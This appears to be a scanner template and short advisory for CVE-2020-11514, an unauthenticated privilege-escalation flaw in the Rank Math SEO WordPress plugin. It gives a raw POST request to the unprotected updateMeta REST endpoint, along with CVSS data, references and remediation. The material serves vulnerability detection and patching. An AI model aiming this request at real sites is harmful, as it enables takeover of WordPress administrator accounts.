The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
PoC
id: CVE-2020-11514
info:
name: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint
author: s4e-io
severity: critical
description: |
The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
impact: |
Unauthenticated attackers can escalate their privileges to administrator level or revoke administrative access from legitimate users, leading to complete compromise of the WordPress site.
remediation: |
Update the Rank Math SEO plugin to version 1.0.41 or later.
reference:
- https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
- https://rankmath.com/changelog/
- https://wordpress.org/plugins/seo-by-rank-math/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-11514
cwe-id: CWE-862
epss-score: 0.09106
epss-percentile: 0.95037
cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: rankmath
product: seo
framework: wordpress
publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
tags: cve,cve2020,wordpress,wordfence,seo-by-rank-math,wp-plugin,priv-esc,unauth,vkev,vuln
variables:
objecttype: "{{randstr}}"
rank: "{{to_lower(rand_text_alpha(5))}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/seo-by-rank-math/readme.txt"
matchers:
- type: dsl
internal: true
dsl:
- 'status_code == 200'
- 'contains(body, "Rank Math")'
condition: and
- raw:
- |
POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"objectID": "{{rand_int(1)}}",
"objectType": "{{objecttype}}",
"meta": {
"rank_math_capabilities": ["{{rank}}"]
}
}
matchers:
- type: dsl
dsl:
- 'contains(body, "true")'
- 'contains(content_type, "application/json")'
- "status_code == 200"
condition: and
# digest: 490a004630440220416f20f2fcebeff54d1e7f9bd47a8493ee71d5f4f3f7c6cffc214ff4bcc27d680220680f974d6a427c9c91943d825fa1b95420e0630529b6a7027deac562efbc86df:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.